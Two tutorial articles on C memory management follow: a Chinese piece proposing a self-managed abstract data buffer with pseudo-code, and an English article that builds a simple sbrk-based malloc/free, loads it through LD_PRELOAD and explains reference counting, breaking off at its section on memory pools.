C 程序设计语言定义了两个标准的内存管理函数:malloc() 和 free()。C 程序员经常使用那些函数在运行时分配缓冲区,以便在函数之间传递数据。然而在许多场合下,您无法预先确定缓冲区所需的实际大小,这对于构造复杂的 C 程序来说,可能会导致几个根本性的问题。在本文中,Xiaoming Zhang 倡导一种自我管理的抽象数据缓冲区。他概括地给出了抽象缓冲区的伪 C 代码实现,并详细介绍了采用这种机制的优点。

软件的规模和复杂性随时都在增长,从根本上影响了应用程序的体系结构。在许多场合下,将所有功能编码进软件的单个部分中是不切实际的。让独立的软件部分相互交互,比如以插件的形式,这样做的重要性正在变得越来越明显。要相对容易地实现这种交互,甚至是在不同厂商编写的软件部分之间,软件需要有定义良好的接口。使用诸如 C 这样的传统程序设计语言来编写满足这种需要的软件可能是一个挑战。

考虑到这种挑战,本文将研究 C 程序设计语言中的数据缓冲区接口,同时着眼于如何改进当前实践。尽管内存管理看起来可能无足轻重,但是恰当设计的接口能够产生高效、简单和可移植的代码 —— 这其中每个特性都需要进行内存管理才能实现。因而, 下一节 将概略介绍程序员在采用传统数据缓冲区管理方案时所面对的各种问题。后面跟着要介绍的是 抽象数据缓冲区方案,并通过伪代码实现来进行说明,这种方案解决了许多问题;最后要介绍的是一些 代码片断,用以演示该解决方案的好处。

传统实践和它们带来的问题

C 程序员经常使用动态分配的缓冲区(通过调用 malloc() / free() 函数)在函数之间传递数据。尽管该方法提供了灵活性,但它也带来了一些性能影响。首先,它要求在需要缓冲区块的任何地方进行额外的管理工作(分配和释放内存块)。如果分配和释放不能在相同的代码位置进行,那么确保在某个内存块不再需要时,释放一次(且仅释放一次)该内存块是很重要的;否则就可能导致内存泄露或代码崩溃。其次,必须预先确定缓冲区的大小才能分配该内存块。然而,您也许会发现,确定数据大小并不总是那么容易。开发人员经常采用最大数据尺寸的保守估计,而这样可能导致严重的内存资源浪费。

为避免由于多次释放而导致的可能的内存泄露和代码崩溃,好的编程实践要求您明确地预定义负责分配和释放缓冲区内存的程序部分。然而在实践中,定义职责会导致其他困难。在传统方案下,由于在创建缓冲区时必须指定大小,因此 数据提供者(它可能知道它所提供的数据的大小)是用来执行缓冲区分配操作的最佳搭档。另一方面,用于释放的最佳搭档可能是 数据使用者,因为它知道何时不再需要该数据。通常情况下,数据提供者和数据使用者是不相同的。

当数据提供者和数据使用者来自不同的软件提供商时,进行交互的各方可能采用不同的底层内存管理机制。例如,有些软件提供商可能选择自我管理的堆空间,而其他软件提供商则依赖底层操作系统(OS)来获得这样的功能。此外,不同的操作系统可能以不同的方式实现内存管理。例如,PalmOS 提供两种不同的内存资源:基于堆和基于数据库。一般来讲,不同的内存管理机制具有各自的优点和缺点,因此您可能不希望预先假定某种特定的机制。不同的首选项甚至可能导致相互冲突的代码编写习惯。

解决这个问题的三种方法如下:

  • 交互方之一定义用于数据交换的底层内存分配机制。另一方总是使用已公布的接口来分配或释放缓冲区,从而避免潜在的不一致。这种模型需要双方都坚持一个可能与软件基本功能无关的编程约定,而且在一般情况下,这个编程约定可能使代码更加不可重用。

  • 驱动数据交换的那一方将负责管理操作 —— 当该方充当数据提供者时,这是一个相对适当的方案。 然而,当该方充当数据使用者时,事情就变得棘手了。为避免去发现数据大小,数据使用者可以分配一个任意大小的缓冲区。如果该数据缓冲区没有足够大,就必须对数据提供者发出多次调用。因此这种方法需要围绕该交互调用编写额外的循环代码,以备多次调用之需。

  • 对于第三种选择,数据使用者将对管理操作负责。然而在这种情况下,如果另一方是数据提供者,数据使用者必须预先发出一次调用以发现缓冲区大小 —— 从而给另一方施加了更多的负担,即编写逻辑代码来提供关于缓冲区大小的信息,而这可能需要执行耗时的算法。而且,这种解决办法还可能引入严重的效率问题:假设函数 a() 从函数 b() 获得数据,后者反过来又在执行期间从函数 c() 获得数据。假设发现缓冲区大小和提供实际的数据都需要执行相同的算法。

    为了从 b() 获得数据, a() 必须发出两次调用:一次用于确定缓冲区大小,另一次用于获得实际数据。对于向 a() 发出的每次调用, b() 都必须对 c() 发出两次调用。因此,当这个操作结束时, c() 中的算法代码可能已经执行了四次。原则上,该代码应该仅执行一次。

显而易见地,这三种解决办法全都存在局限性,因此传统缓冲区内存管理方法并不是适合编写大规模交互软件代码的机制。

除了上述困难之外,安全性也证明是传统方法存在的问题:传统缓冲区管理方案无法容易地防止恶意用户刻意改写数据缓冲区,从而导致程序异常。考虑到所有这一切,设计一个适当的数据缓冲区接口就势在必行!




回页首


解决方案是什么?

上一节中,您看到了传统缓冲区方案如何会产生多种问题。与此相反,当您创建一个抽象数据缓冲区时,解决方案就变得简单了。

从概念上讲,数据缓冲区在传统方案下是由两个操作创建的:数据缓冲区实体的创建和实际内存的分配。然而事实上,在实际数据变得可用之前,您不需要分配实际的内存 —— 即可以将两个操作分离开来。

最初可以使用内存块的一个空链表来创建一个抽象缓冲区。抽象数据缓冲区仅在实际数据变得可用时才分配内存。释放内存也变成了抽象数据缓冲的责任。考虑到所有这些,集中内存管理和数据复制操作就会带来以下优点:

  • 各方都能通过调用预定义的 API 函数来构造和/或销毁数据缓冲区。
  • 内存使用将保持接近最优状态,因为缓冲区内存仅在必要时才分配,并且会尽快释放,从而最小化内存泄露。
  • 任何一方都不需要知道底层的内存管理方案,使得软件高度可移植,同时保证了交互双方之间的兼容性。
  • 由于没有哪一方需要管理内存,确定缓冲区的大小就变得不必要了(因而也不可能存在前面指出的多次执行问题)。
  • 事实证明缓冲区溢出也不可能会发生,因为仅当存在额外数据空间时才会复制数据。

一种简单的实现

为了表示一个抽象数据缓冲区,需要声明两个结构化的数据类型:

清单 1. 声明两个结构化的数据类型来表示一个抽象数据缓冲区

typedef struct BufferBlockHeader_st BufferBlockHeader;
struct BufferBlockHeader_st {
   BufferBlockHeader * pNextBlock;
};
struct Buffer_st {
   long  int             totalLength;
   BufferBlockHeader *   pFirstBlock;
   short int             startPoint;
   BufferBlockHeader *   pLastBlock;
   short int             endPoint;
};
typedef struct Buffer_st Buffer;

Buffer 包含关于已创建的抽象缓冲区的信息,它还管理内存块的一个链表:

  • totalLoength 记录当前存储在缓冲区中的字节数。
  • pFirstBlock 指向该链表中的第一个内存块。
  • startPoint 记录第一个内存块中第一个字节的偏移位置。
  • pLostBlock 指向该链表的最后一个内存块。
  • endPoint 记录最后一个内存块中第一个空闲字节的偏移位置。

您可以向 Buffer 引入一个附加参数,用以指定每个内存块的大小,并且可以在抽象缓冲区的初始化期间,将该参数设置为一个可取的值。这里假设使用默认块大小。

如果分配了的话, BufferBlockHeader 结构中的 pNextBlock 总是指向该链表中的下一个内存块。每个内存块在分配时都包含一个 BufferBlockHeader 头,后面跟着一个用于存储实际数据的缓冲区块。

图 1 描述了一个存储了一些数据的抽象缓冲区。

图 1. 抽象缓冲区的数据结构
关系的图形表示

M 表示 Buffer 的大小(它通常为 20 字节), B 表示所选择的内存块大小。内存开销大约为 (M+B) 个字节(每个内存块开头的指针忽略不计)。 (M+B) 中的 B 平均起来仅有所使用的第一和最后一个内存块的一半。这个开销几乎保持不变。

在能够缓冲数据之前,必须通过调用下面的 newBuffer() 函数来显式地创建抽象缓冲区:

清单 2 使用 newBuffer() 函数创建抽象缓冲区

Buffer * newBuffer() {
   allocate a Buffer structure;
   initialize the structure;
}

清单 2 中,该函数分配了包含一个 Buffer 的内存块,并初始化它的条目以指明它是一个空抽象缓冲区。

相应地,必须在使用抽象缓冲区之后通过调用下面的 freeBuffer() 函数来销毁它:

清单 3 使用 freeBuffer() 函数来销毁抽象缓冲区

void freeBuffer(Buffer * pBuffer    /* pointer to the buffer to be freed */
	       ) {
   while (there is more memory block in the linked list) {
      free the next memory block;
   }
   free the Buffer structure;
}

清单 3 中的函数释放链表中的所有内存块,然后释放由 newBuffer() 分配的 Buffer

要逐步向抽象缓冲区追加数据段,可使用以下函数:

清单 4. 逐步向抽象缓冲区追加数据段

long int appendData(Buffer * pBuffer,    /* pointer to the abstract buffer */
             byte *   pInput,    /* pointer to the data source */
             long int offset,    /* offset of the input data */
             long int dataLength    /* number of bytes of the input data */
               ) {
   while (there is more input data) {
      fill the current memory block;
      if (there is more input data) {
         allocate a new memory block and add it into the linked list;
      }
   }      
}

清单 4 中的函数把存储在 pInput[offset..offset+dataLength] 中的字节复制到 pBuffer 所指向的抽象缓冲区中,并在必要时在链表中插入新的内存块,然后返回成功复制到抽象缓冲区中的字节数目。

采用类似的方式,您可以使用以下函数,逐段地从抽象缓冲区读取数据段:

清单 5. 从抽象缓冲区读取数据段

long int readData(Buffer * pBuffer,    /* pointer to the abstract buffer */
           byte *   pOutput,    /* pointer to the output byte array */
           long int offset,    /* offset of the output byte array */
           long int arrayLength    /* size of available output byte array */
             ) {
   while (there is something more to read and there is room for output) {
      read from the first memory block;
      if (the first memory block is empty) {
         delete the first memory block from the linked list and free its memory;
      }
   }
}

清单 5 中,该函数销毁性地从 pBuffer 所指向的抽象缓冲区最多读取 arrayLength 个前导字节,并在内存块变为空时从链表中删除它们,然后返回成功读取的字节数目。

如果需要,您可以实现一个类似 readData() 的函数来允许非销毁性的读取。

实现一个函数来返回当前存储在抽象缓冲区中的字节数目,这样可能会带来好处。

清单 6. 返回抽象缓冲区中的字节数目

long int bytesAvailable(Buffer * pBuffer  /* pointer to the abstract buffer */
		       ) {
   return totalLength;
}





回页首


使用抽象缓冲区的优点

您在前面看到了与传统缓冲区方案相关联的几个困难方面。作为一种替代方法,通过集中内存管理和数据复制操作,本文建议的抽象缓冲区立即消除了发生不一致的内存管理和缓冲区溢出的可能性。它还使得代码编写更简单,并避免了前面指出的可能的多次执行问题。为了更好地理解这个解决方案,让我们考察一个使用伪代码的例子,该例子首先使用传统方法,然后使用集中的解决方案。

比固定大小的缓冲区方法更简单的代码编写

假设函数 a() 从函数 b() 获取输入数据,但是不知道函数 b() 的大小。您可以让 a() 分配一个固定大小的缓冲区,然后反复调用 b() ,直至 b() 已指出到达了输入数据的结尾,从而避免查询输入数据的大小。

清单 7. 分配固定大小的缓冲区并调用输入数据

int b(byte *buf, int bufSize) {
   fill buf;
   return size of output;
}
void a() {
   byte * buf = malloc(BUFFER_SIZE);
   int size;
   if (NULL != buf) {
      while (there is more data from b()) {
         size = b(buf, BUFFER_SIZE);
         process data in buf;
      }
      free(buf);
   }
}

通过使用抽象缓冲区,代码可简化为:

清单 8. 为抽象缓冲区调用输入数据

void b(Buffer *buf) {
   fill buf;
}
void a() {
   Buffer * buf = newBuffer();
   if (NULL != buf) {
      b(buf);
      process data in buf;
      freeBuffer(buf);
   }
}

无多次执行的方法和发现数据大小的方法之间的比较

同样,假设函数 a() 从函数 b() 获取输入数据,但是不知道 b() 的大小。为了给 b() 分配足够大的缓冲区, a() 必须对 b() 发出高级发现调用(假设只有 b() 知道大小)。 a() 将类似如下:

清单 9. 发出高级发现调用

int b(byte *buf, int bufSize) {
   if (NULL != buf) {
      fill buf;
   }
   return size of output;
}
void a() {
   int size = b(NULL, 0);
   byte * buf = malloc(size);
   if (NULL != buf) {
      b(buf, size);
      process data in buf;
      free(buf);
   }
}

注意 a() 调用了 b() 两次。

通过使用抽象缓冲区,您可以将代码编写为:

清单 10. 对抽象缓冲区发出单次发现调用

void b(Buffer *buf) {
   fill buf;
}
void a() {
   Buffer * buf = newBuffer();
   if (NULL != buf) {
      b(buf);
      process data in buf;
      freeBuffer(buf);
   }
}

它仅调用 b() 一次。




回页首


结束语

本文研究了当两个 C 函数使用传统数据缓冲区管理方案进行交互时所产生的问题。在编写大规模交互软件代码时,这样的问题可能会变成主要问题。作为一种替代方案,自我管理的抽象数据缓冲区能够解决那些问题。对于普通 C 程序员来说,实现这种建议的抽象数据缓冲区应该是一项相对容易的任务。

为了从这种解决方案中获益,您必须清楚地定义具体的抽象数据缓冲区接口。采用这样一个接口将简化以后的代码开发。然而,如果要将现有代码移植为使用这样的接口,您必须保持谨慎,并在权衡成本/收益比的同时进行逐个案例的分析。

参考资料



关于作者

高级软件工程师 Xiaoming Zhang 从事过 9 年的学术研究,他于 1998 年放弃大学讲师的职位加入了 IBM。从那以后,他把大多数时间都花在设计和开发针对小型设备的消息传送中间件上。他还对消息传送的数据安全方面特别感兴趣。Xiaoming 从 Wales Swansea 大学获得了计算机语音信号处理专业的博士学位,他已发表了近 30 篇会议和期刊论文,内容涉及语音信号处理、并行数值计算、函数式程序设计的应用程序以及图像处理。

Inside memory management

The choices, tradeoffs, and implementations of dynamic allocation

Level: Intermediate

Jonathan Bartlett ( johnnyb@eskimo.com), Director of Technology, New Media Worx

16 Nov 2004

Get an overview of the memory management techniques that are available to Linux™ programmers, focusing on the C language but applicable to other languages as well. This article gives you the details of how memory management works, and then goes on to show how to manage memory manually, how to manage memory semi-manually using referencing counting or pooling, and how to manage memory automatically using garbage collection.

Why memory must be managed

Memory management is one of the most fundamental areas of computer programming. In many scripting languages, you don't have to worry about how memory is managed, but that doesn't make memory management any less important. Knowing the abilities and limitations of your memory manager is critical for effective programming. In most systems languages like C and C++, you have to do memory management. This article covers the basics of manual, semi-automatic, and automatic memory management practices.

Back in the days of assembly language programming on the Apple II, memory management was not a huge concern. You basically had run of the whole system. Whatever memory the system had, so did you. You didn't even have to worry about figuring out how much memory it had, since every computer had the same amount. So, if your memory requirements were pretty static, you just chose a memory range to use and used it.

However, even in such a simple computer you still had issues, especially if you didn't how much memory each part of your program was going to need. If you have limited space and varying memory needs, then you need some way to meet these requirements:

  • Determine if you have enough memory to process data
  • Get a section of memory from the available memory
  • Return a section of memory back to the pool of available memory so it can be used by other parts of the program or other programs

The libraries that implement these requirements are called allocators, because they are responsible for allocating and deallocating memory. The more dynamic a program is, the more memory management becomes an issue, and the more important your choice of memory allocator becomes. Let's look at the different methods available to manage memory, their benefits and drawbacks, and the situations in which they work best.


Back to top


C-style memory allocators

The C programming language provides two functions to fulfill our three requirements:

  • malloc: This allocates a given number of bytes and returns a pointer to them. If there isn't enough memory available, it returns a null pointer.
  • free: This takes a pointer to a segment of memory allocated by malloc, and returns it for later use by the program or the operating system (actually, some malloc implementations can only return memory back to the program, not to the operating system).

Physical and virtual memory

To understand how memory gets allocated within your program, you first need to understand how memory gets allocated to your program from the operating system. Each process on your computer thinks that it has access to all of your physical memory. Obviously, since you are running multiple programs at the same time, each process can't own all of the memory. What happens is that your processes are using virtual memory.

Just for an example, let's say that your program is accessing memory address 629. The virtual memory system, however, doesn't necessarily have it stored in RAM location 629. In fact, it may not even be in RAM -- it could even have been moved to disk if your physical RAM was full! Because the addresses don't necessarily reflect the physical location where the memory is located, this is called virtual memory. The operating system maintains a table of virtual address-to-physical address translations so that the computer hardware can respond properly to address requests. And, if the address is on disk instead of in RAM, the operating system will temporarily halt your process, unload other memory to disk, load in the requested memory from disk, and restart your process. This way, each process gets its own address space to play in and can access more memory than you have physically installed.

On 32-bit x86 systems, each process can access 4 GB of memory. Now, most people don't have 4 GB of memory on their systems, even if you include swap, must less 4 GB per process. Therefore, when a process loads, it gets an initial allocation of memory up to a certain address, called the system break. Past that is unmapped memory -- memory for which no corresponding physical location has been assigned either in RAM or on disk. Therefore, if a process runs out of memory from its initial allocation, it has to request that the operating system "map in" more memory. (Mapping is a mathematical term for one-to-one correspondence -- memory is "mapped" when its virtual address has a corresponding physical location to store it in.)

UNIX-based systems have two basic system calls that map in additional memory:

  • brk: brk() is a very simple system call. Remember the system break, the location that is the edge of mapped memory for the process? brk() simply moves that location forward or backward, to add or remove memory to or from the process.
  • mmap: mmap(), or "memory map," is like brk() but is much more flexible. First, it can map memory in anywhere, not just at the end of the process. Second, not only can it map virtual addresses to physical RAM or swap, it can map them to files and file locations so that reading and writing memory addresses will read and write data to and from files. Here, however, we are only concerned with mmap's ability to add mapped RAM to our process. munmap() does the reverse of mmap().

As you can see, either brk() or mmap() can be used to add additional virtual memory to our processes. We will use brk() in our examples, because it is simpler and more common.

Implementing a simple allocator

If you've done much C programming, you have probably used malloc() and free() quite a bit. However, you may not have taken the time to think about how they might be implemented in your operating system. This section will show you code for a simplistic implementation of malloc and free to help demonstrate what is involved with managing memory.

To try out these examples, copy this code listing and paste it into a file called malloc.c. I'll explain the listing a section at a time, below.

Memory allocation on most operating systems is handled by two simple functions:

  • void *malloc(long numbytes): This allocates numbytes of memory and returns a pointer to the first byte.
  • void free(void *firstbyte): Given a pointer that has been returned by a previous malloc, this gives the space that was allocated back to the process's "free space."

malloc_init is going to be our function to initialize our memory allocator. It does three things: marks our allocator as being initialized, finds the last valid memory address on the system, and sets up the pointer to the beginning of our managed memory. These three variables are global variables:
Listing 1. Global variables of our simple allocator



int has_initialized = 0;

void *managed_memory_start;

void *last_valid_address;

As mentioned above, the edge of mapped memory -- last valid address -- is often known as the system break or the current break. On many UNIX® systems, to find the current system break, you use the function sbrk(0). sbrk moves the current system break by the number of bytes in its argument, and then returns the new system break. Calling it with an argument of 0 simply returns the current break. Here is our malloc initialization code, which finds the current break and initializes our variables:
Listing 2. Allocator initialization function



/* Include the sbrk function */

#include <unistd.h>

void malloc_init()

{

	/* grab the last valid address from the OS */

	last_valid_address = sbrk(0);


	/* we don't have any memory to manage yet, so
	 *just set the beginning to be last_valid_address
	 */

	managed_memory_start = last_valid_address;

	/* Okay, we're initialized and ready to go */

 	has_initialized = 1;

}

Now, in order to properly manage memory, we need to be able to track what we are allocating and deallocating. We need to do things like mark blocks as unused after free has been called on them, and be able to locate unused blocks when malloc is called. Therefore, the start of every piece of memory returned by malloc will have this structure at the beginning:
Listing 3. Memory Control Block structure definition



struct mem_control_block {

	int is_available;

	int size;

};

Now, you might think that this would cause problems for programs calling malloc -- how do they know about this struct? The answer is that they don't have to know about it; we will hide it by moving the pointer past this struct before we return it. This will make the returned pointer point to memory that is not used for any other purpose. That way, from the calling programs' perspective, all they get is free, open memory. Then, when they pass the pointer back via free(), we simply back up a few memory bytes to find this structure again.

We're going to talk about freeing before we talk about allocating memory, because it's simpler. The only thing we have to do to free memory is to take the pointer we're given, back up sizeof(struct mem_control_block) bytes, and mark it as available. Here is the code for that:
Listing 4. Deallocation function



void free(void *firstbyte) {

	struct mem_control_block *mcb;

	/* Backup from the given pointer to find the
	 * mem_control_block
	 */

	mcb = firstbyte - sizeof(struct mem_control_block);

	/* Mark the block as being available */

	mcb->is_available = 1;

	/* That's It!  We're done. */

	return;
}

As you can see, in this allocator, freeing memory is done in constant time, using a very simple mechanism. Allocating memory is slightly harder. Here is the outline of the algorithm:
Listing 5. Pseudo-code for the main allocator




1. If our allocator has not been initialized, initialize it.

2. Add sizeof(struct mem_control_block) to the size requested.

3. Start at managed_memory_start.

4. Are we at last_valid address?

5. If we are:

   A. We didn't find any existing space that was large enough
      -- ask the operating system for more and return that.

6. Otherwise:

   A. Is the current space available (check is_available from
      the mem_control_block)?

   B. If it is:

      i)   Is it large enough (check "size" from the
           mem_control_block)?

      ii)  If so:

           a. Mark it as unavailable

           b. Move past mem_control_block and return the
              pointer

      iii) Otherwise:

           a. Move forward "size" bytes

           b. Go back go step 4

   C. Otherwise:

      i)   Move forward "size" bytes

      ii)  Go back to step 4

We're basically walking through memory using linked pointers looking for open chunks. Here is the code:
Listing 6. The main allocator



void *malloc(long numbytes) {

	/* Holds where we are looking in memory */

	void *current_location;

	/* This is the same as current_location, but cast to a
	 * memory_control_block
	 */

	struct mem_control_block *current_location_mcb;

	/* This is the memory location we will return.  It will
	 * be set to 0 until we find something suitable
	 */

	void *memory_location;

	/* Initialize if we haven't already done so */

	if(! has_initialized) 	{

		malloc_init();

	}

	/* The memory we search for has to include the memory
	 * control block, but the users of malloc don't need
	 * to know this, so we'll just add it in for them.
	 */

	numbytes = numbytes + sizeof(struct mem_control_block);

	/* Set memory_location to 0 until we find a suitable
	 * location
	 */

	memory_location = 0;

	/* Begin searching at the start of managed memory */

	current_location = managed_memory_start;

	/* Keep going until we have searched all allocated space */

	while(current_location != last_valid_address)

	{

		/* current_location and current_location_mcb point
		 * to the same address.  However, current_location_mcb
		 * is of the correct type, so we can use it as a struct.
		 * current_location is a void pointer so we can use it
		 * to calculate addresses.
		 */

		current_location_mcb =

			(struct mem_control_block *)current_location;

		if(current_location_mcb->is_available)

		{

			if(current_location_mcb->size >= numbytes)

			{

				/* Woohoo!  We've found an open,
				 * appropriately-size location.
				 */

				/* It is no longer available */

				current_location_mcb->is_available = 0;

				/* We own it */

				memory_location = current_location;

				/* Leave the loop */

				break;

			}

		}

		/* If we made it here, it's because the Current memory
		 * block not suitable; move to the next one
		 */

		current_location = current_location +

			current_location_mcb->size;

	}

	/* If we still don't have a valid location, we'll
	 * have to ask the operating system for more memory
	 */

	if(! memory_location)

	{

		/* Move the program break numbytes further */

		sbrk(numbytes);

		/* The new memory will be where the last valid
		 * address left off
		 */

		memory_location = last_valid_address;

		/* We'll move the last valid address forward
		 * numbytes
		 */

		last_valid_address = last_valid_address + numbytes;

		/* We need to initialize the mem_control_block */

		current_location_mcb = memory_location;

		current_location_mcb->is_available = 0;

		current_location_mcb->size = numbytes;

	}

	/* Now, no matter what (well, except for error conditions),
	 * memory_location has the address of the memory, including
	 * the mem_control_block
	 */

	/* Move the pointer past the mem_control_block */

	memory_location = memory_location + sizeof(struct mem_control_block);

	/* Return the pointer */

	return memory_location;

 }

And that is our memory manager. Now, we just have to build it and get it to run with our programs.

To build your malloc-compatible allocator (actually, we're missing some functions like realloc(), but malloc() and free() are the main ones), run the following command:
Listing 7. Compiling the allocator




gcc -shared -fpic malloc.c -o malloc.so

This will produce a file named malloc.so, which is a shared library containing our code.

On UNIX systems, you can now use your allocator in place of your system malloc() by doing this:
Listing 8. Replacing your standard malloc



LD_PRELOAD=/path/to/malloc.so

export LD_PRELOAD

The LD_PRELOAD environment variable causes the dynamic linker to load the symbols of the given shared library before any executable it loads. It also gives precedence to the symbols in the library specified. Therefore, any application we start from now on in this session will be using our malloc() and not the system one. A few applications don't use malloc(), but they are the exception. Others, which use the other memory-management functions such as realloc() or which make poor assumptions about the internal behavior of malloc() will likely crash. The ash shell appears to work just fine using our new malloc().

If you want to be sure that your malloc() is being used, you should test it by adding calls to write() at the entry points of your functions.

Our memory manager leaves a lot to be desired, but it is good for showing what a memory manager needs to do. Some of its drawbacks include the following:

  • Since it operates on the system break (a global variable), it cannot coexist with any other allocator or with mmap.
  • When allocating memory, in a worst-case scenario it will have to walk across all of a process's memory; this may include a lot of memory located on disk as well, which means the operating system will have to spend time moving data to and from the disk.
  • There is no graceful handling for out-of-memory errors (malloc simply assumes success).
  • It does not implement many of the other memory functions, such as realloc().
  • Because sbrk() may give back more memory than we ask for, we leak some memory at the end of the heap.
  • The is_available flag uses a full 4-byte word, even though it only contains 1 bit of information.
  • The allocator is not thread-safe.
  • The allocator can't coalesce free space into larger blocks.
  • The allocator's simplistic fitting algorithm leads to a lot of potential memory fragmentation.
  • I'm sure there are a lot of other problems. That's why it's only an example!

Other malloc implementations

There are many implementations of malloc(), each with their own strengths and weaknesses. There are a number of tradeoff decisions when you design an allocator, including:

  • Speed of allocation
  • Speed of deallocation
  • Behavior in a threaded environment
  • Behavior when memory is close to filling
  • Cache locality
  • Bookkeeping memory overhead
  • Behavior in Virtual Memory Environments
  • Small or large objects
  • Real-time guarantees

Each implementation has its own set of benefits and drawbacks. In our simple allocator, it was very slow in allocation but very, very fast in deallocation. Also, because of its poor behavior with virtual memory systems, it works best on large objects.

There are many other allocators available. Some of them include:

  • Doug Lea Malloc: Doug Lea Malloc is actually an entire family of allocators, including Doug Lea's original allocator, the GNU libc allocator, and ptmalloc. Doug Lea's allocator has a basic structure much like our version, but it incorporates indexes to make searching faster and has the ability to combine multiple unused chunks into one large chunk. It also enables caching to make reuse of recently freed memory faster. ptmalloc is a version of Doug Lea Malloc that was extended to support multiple threads. A paper describing Doug Lea's Malloc implementation is available in the Resources section later in this article.
  • BSD Malloc: BSD Malloc, the implementation that was distributed with 4.2 BSD and is included with FreeBSD, is an allocator that allocates objects from pools of objects of pre-determined sizes. It has size classes for object sizes that are a power of two minus a constant. So, if you request an object of a given size, it simply allocates in whatever size class will fit the object. This provides for a fast implementation, but can waste memory. A paper describing this implementation is available in the Resources section.
  • Hoard: Hoard was written with the goal of being very fast in a multithreaded environment. Therefore, it is structured around making the best use of locking to keep any process from having to wait to allocate memory. It can dramatically speed up multithreaded processes that do a lot of allocating and deallocating. A paper describing this implementation is available in the Resources section.

These are the best known of the many allocators available. If your program has specific allocation needs, you may prefer to write a custom allocator that matches the way your program allocates memory. However, if you aren't familiar with allocator design, custom allocators can often create more problems than they solve. For a good introduction to the subject, see Donald Knuth's The Art of Computer Programming Volume 1: Fundamental Algorithms in section 2.5, "Dynamic Storage Allocation" (see Resources for a link). It is a bit dated, because it doesn't take into account virtual memory environments, but most algorithms are based on the ones presented there.

In C++, you can implement your own allocator on a per-class or per-template basis by overloading operator new(). Andrei Alexandrescu's Modern C++ Design describes a small object allocator in Chapter 4, "Small Object Allocation" (see Resources for a link).

Shortcomings of malloc()-based memory management

Not only does our memory manager have shortcomings, there are many shortcomings of malloc()-based memory management that remain no matter which allocator you use. Managing memory with malloc() can be pretty daunting for programs that have long-running storage they need to keep around. If you have lots of references to memory floating around, it is often difficult to know when it should be released. Memory whose lifetime is limited to the current function is fairly easy to manage, but for memory that lives beyond that, it becomes much more difficult. Also, many APIs are unclear as to whether the responsibility for memory management lies with the calling program or the called function.

Because of the problems managing memory, many programs are oriented around their memory management rules. C++'s exception handling makes this task even more problematic. Sometimes it seems that more code is dedicated to managing memory allocation and cleanup than actually accomplishing computational tasks! Therefore, we will examine other alternatives to memory-management.


Back to top


Semi-automatic memory management strategies

Reference counting

Reference counting is a semi-automated memory-management technique, meaning that it requires some programmer support, but it does not require you to know for sure when an object is no longer in use. The reference counting mechanism does that for you.

In reference counting, all shared data structures have a field that contains the number of "references" currently active to that structure. When a procedure is passed a pointer to a data structure, it adds to the reference count. Basically, you are telling the data structure how many locations it is being stored in. Then, when your procedure is finished using it, it decreases the reference count. When this happens, it also checks to see if the count has dropped to zero. If so, it frees the memory.

The advantage to this is that you don't have to follow every path in your program that a given data structure may follow. Each localized reference to it simply increases or decreases the count as appropriate. This prevents it from being freed while it is still in use. However, you must remember to run the reference counting functions whenever you are using a reference-counted data structure. Also, built-in functions and third-party libraries will not know about or be able to use your reference-counting mechanism. Reference counting also has difficulties with structures having circular references.

To implement reference counting, you simply need two functions -- one to increase the reference count, and one to decrease the reference count and free the memory when the count drops to zero.

An example reference counting function set might look like this:
Listing 9. Basic reference counting functions



/* Structure Definitions*/

/* Base structure that holds a refcount */

struct refcountedstruct

{

	int refcount;

}

/* All refcounted structures must mirror struct
 * refcountedstruct for their first variables
 */

/* Refcount maintenance functions */

/* Increase reference count */

void REF(void *data)

{

	struct refcountedstruct *rstruct;

	rstruct = (struct refcountedstruct *) data;

	rstruct->refcount++;

}

/* Decrease reference count */

void UNREF(void *data)

{

	struct refcountedstruct *rstruct;

	rstruct = (struct refcountedstruct *) data;

	rstruct->refcount--;

	/* Free the structure if there are no more users */

	if(rstruct->refcount == 0)

	{

		free(rstruct);

	}

}

REF and UNREF might be more complicated, depending on what you wanted to do. For example, you may want to add locking for a multithreaded program, and you may want to extend refcountedstruct so that it also includes a pointer to a function to call before freeing the memory (like a destructor in object-oriented languages -- this is required if your structures contain pointers).

When using REF and UNREF, you need to obey these rules for pointer assignments:

  • UNREF the value that the left-hand-side pointer is pointing to before the assignment.
  • REF the value that that the left-hand-side pointer is pointing to after the assignment.

In functions that are passed refcounted structures, the functions need to follow these rules:

  • REF every pointer at the beginning of the function.
  • UNREF every pointer at the end of the function.

Here is a quick example of code using reference counting:
Listing 10. Example using reference counting



/* EXAMPLES OF USAGE */


/* Data type to be refcounted */

struct mydata

{

	int refcount; /* same as refcountedstruct */

	int datafield1; /* Fields specific to this struct */

	int datafield2;

	/* other declarations would go here as appropriate */

};


/* Use the functions in code */

void dosomething(struct mydata *data)

{

	REF(data);

	/* Process data */

	/* when we are through */

	UNREF(data);

}


struct mydata *globalvar1;

/* Note that in this one, we don't decrease the
 * refcount since we are maintaining the reference
 * past the end of the function call through the
 * global variable
 */

void storesomething(struct mydata *data)

{

	REF(data); /* passed as a parameter */

	globalvar1 = data;

	REF(data); /* ref because of Assignment */

	UNREF(data); /* Function finished */

}

Since reference counting is so simple, most programmers implement it themselves rather than using libraries. They do, however, depend on low-level allocators like malloc and free to actually allocate and release their memory.

Reference counting is used quite a bit in high-level languages like Perl to do memory management. In those languages, the reference counting is handled automatically by the language, so that you don't have to worry about it at all except for writing extension modules. This takes away some speed as everything must be reference counted, but adds quite a bit of safety and ease of programming. Here are the benefits:

  • It has a simple implementation.
  • It is easy to use.
  • Since the reference is part of the data structure, it has good cache locality.

However, it also has its drawbacks:

  • It requires that you never forget to call the reference counting functions.
  • It will not release structures that are a part of a circular data structure.
  • It slows down nearly every pointer assignment.
  • You must take additional precautions when using exception-handling (like try or setjmp()/longjmp()) while using reference counted objects.
  • It requires extra memory to handle the references.
  • The reference counter takes up the first position in the structure, which is the fastest to access on most machines.
  • It is slower and more difficult to do in a multithreaded environment.

C++ can mitigate some of the programmer error by using smart pointers, which can handle pointer-handling details such as reference counting for you. However, if you have to use any legacy code that can't handle your smart pointers (such as linkage to a C library), it usually degenerates into a mess that is actually more difficult and twisted than if you didn't use them. Therefore, it is usually only useful for C++-only projects. If you want to use smart pointers, you really need to read the "Smart Pointers" chapter from Alexandrescu's Modern C++ Design book.

Memory pools

Memory pools are another method to semi-automate memory management. Memory pools help automate memory management for programs that go through specific stages, each of which has memory that is allocated for only specific stages of processing. For example, many network server processes have lots of per-connection memory allocated -- memory whose maximum lifespan is the life of the current connection. Apache, which uses pooled memory, has its connections broken down into stages, each of which have their own memory pool. At the end of the stage, the entire memory pool is freed at once.

